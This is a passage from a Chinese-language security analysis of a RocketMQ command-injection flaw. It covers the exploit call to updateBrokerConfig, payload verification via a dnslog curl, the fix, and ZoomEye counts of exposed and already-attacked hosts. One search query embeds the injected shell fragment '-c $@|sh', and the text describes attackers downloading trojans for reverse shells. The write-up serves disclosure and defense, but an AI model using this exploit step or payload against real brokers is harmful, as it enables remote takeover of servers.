defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();

5.2 漏洞验证

使用payload进行curl dnslog,每隔30s左右收到一次请求:

image

5.3 漏洞修复

在修复版本4.9.6和5.1.1中都是直接删除了filter server模块

image

5.4 影响范围统计

使用Zoomeye[5]进行搜索,得到ip结果34348条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
image

使用Zoomeye搜索一下被攻击过的目标数量,得到ip结果6011条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
image

通过Zoomeye的下载功能,再来本地统计一下攻击手法。这里大部分都是通过wget、curl等指令下载木马进行执行反弹shell。

image

6.参考链接

[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn

[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc

[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec

[4] https://github.com/I5N0rth/CVE-2023-33246

[5] https://www.zoomeye.org